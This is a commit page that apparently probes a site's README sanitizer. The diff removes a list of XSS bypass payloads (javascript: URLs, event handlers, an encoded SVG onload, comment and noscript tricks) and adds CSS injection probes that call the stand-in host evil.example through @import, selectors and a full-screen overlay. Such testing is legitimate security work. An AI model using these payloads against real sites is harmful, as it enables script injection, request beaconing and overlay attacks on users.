0xtest1 commited on
Commit
f7cdae3
·
verified ·
1 Parent(s): 2619f82

css escape test

Browse files
Files changed (1) hide show
  1. README.md +19 -35
README.md CHANGED
@@ -1,35 +1,19 @@
1
- # Handler smuggling test
2
-
3
- <form><button formaction="javascript:alert(40)">formaction btn</button></form>
4
-
5
- <svg><animate attributeName="href" values="javascript:alert(41)"/></svg>
6
-
7
- <svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyBvbmxvYWQ9J2FsZXJ0KDQyKScvPjwvc3ZnPg=="/></svg>
8
-
9
- <object data="javascript:alert(43)"></object>
10
- <embed src="javascript:alert(44)">
11
-
12
- <a href=" javascript:alert(45)">space-prefixed js</a>
13
- <a href="JaVaScRiPt:alert(46)">mixed case</a>
14
- <a href="java&#115;cript:alert(47)">entity-encoded</a>
15
- <a href="javascript&colon;alert(48)">colon entity</a>
16
- <a href="/redirect?to=javascript:alert(49)">redirect-ish</a>
17
-
18
- <img src=x:x onerror=alert(50) srcset="x:x 1x">
19
- <img srcset="x:x 1x" onerror=alert(51)>
20
-
21
- <video src=x onerror=alert(52)></video>
22
- <audio src=x onerror=alert(53)></audio>
23
-
24
- <body onload=alert(54)>
25
- <image src=x onerror=alert(55)>
26
-
27
- <xss id=x tabindex=1 onactivate=alert(56)></xss>
28
- <div onbeforeprint=alert(57)>beforeprint</div>
29
-
30
- <img src=1 onerror=alert(58) onload=alert(59)//>
31
-
32
- <!--><img src=x onerror=alert(60)>-->
33
-
34
- <noscript><p title="</noscript><img src=x onerror=alert(61)>">
35
- <template><script>alert(62)</script></template>
 
1
+ # CSS escape test
2
+
3
+ <style>
4
+ @import url('https://evil.example/importprobe');
5
+ @keyframes kxss { from { background: url('https://evil.example/keyframe'); } }
6
+ * { animation-name: kxss; }
7
+ body, html { background: url('https://evil.example/bodystar'); }
8
+ div { background: url('https://evil.example/divsel'); }
9
+ .hf-sanitized { background: url('https://evil.example/ownclass'); }
10
+ input[type="text"] { background: url('https://evil.example/inputsel'); }
11
+ a[href]::before { content: url('https://evil.example/attrsel'); }
12
+ #id1 { background: url('https://evil.example/idsel'); }
13
+ </style>
14
+
15
+ <style>
16
+ body{background:url('https://evil.example/starbody')}
17
+ </style>
18
+
19
+ <p style="position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:9999;background:url('https://evil.example/fixedoverlay')">overlay</p>